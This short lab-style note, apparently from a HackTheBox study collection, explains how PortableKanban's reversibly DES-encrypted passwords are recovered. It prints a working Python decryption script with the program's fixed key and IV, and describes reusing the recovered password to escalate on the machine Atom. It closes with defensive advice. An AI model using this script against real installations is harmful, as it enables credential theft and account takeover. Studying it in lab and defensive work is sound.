PortableKanban password decryption
PortableKanban is a portable Kanban-board application that stores its configuration and user credentials in local files (PortableKanban.cfg, PortableKanban.pk3). The problem: passwords aren't hashed, they're reversibly encrypted with DES using a fixed key and IV embedded in the program itself. Anyone who knows those parameters can recover the cleartext password.
There's a public exploit (Exploit-DB 49409) implementing the decryption. In essence:
# searchsploit -m 49409 to fetch the exploit
import base64
from des import * # python3 -m pip install des
enc = "Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb" # EncryptedPassword
key = DesKey(b"7ly6UznJ")
print(key.decrypt(base64.b64decode(enc), initial=b"XuVUm5fR", padding=True).decode())The key (7ly6UznJ) and IV (XuVUm5fR) are program constants, so the same script works for any PortableKanban encrypted password, whether from the .cfg, the .pk3 or anywhere else the app stores that format.
Where these hashes appear. The obvious one is the config file itself in the user's profile. But the format can reappear in other services reusing the PortableKanban store: in Atom, a Redis entry held the Administrator object with an EncryptedPassword in the same format, decryptable with the identical method.
Defence. Don't trust symmetric encryption with an embedded key (it's effectively obfuscation); use the OS credential store or derivation algorithms with a per-install secret. And, as always, don't reuse the same password across accounts/services: here the chain falls because the decrypted key works for Redis and from there for the Administrator (credential reuse).
Machines where it's used
- AtomHackTheBox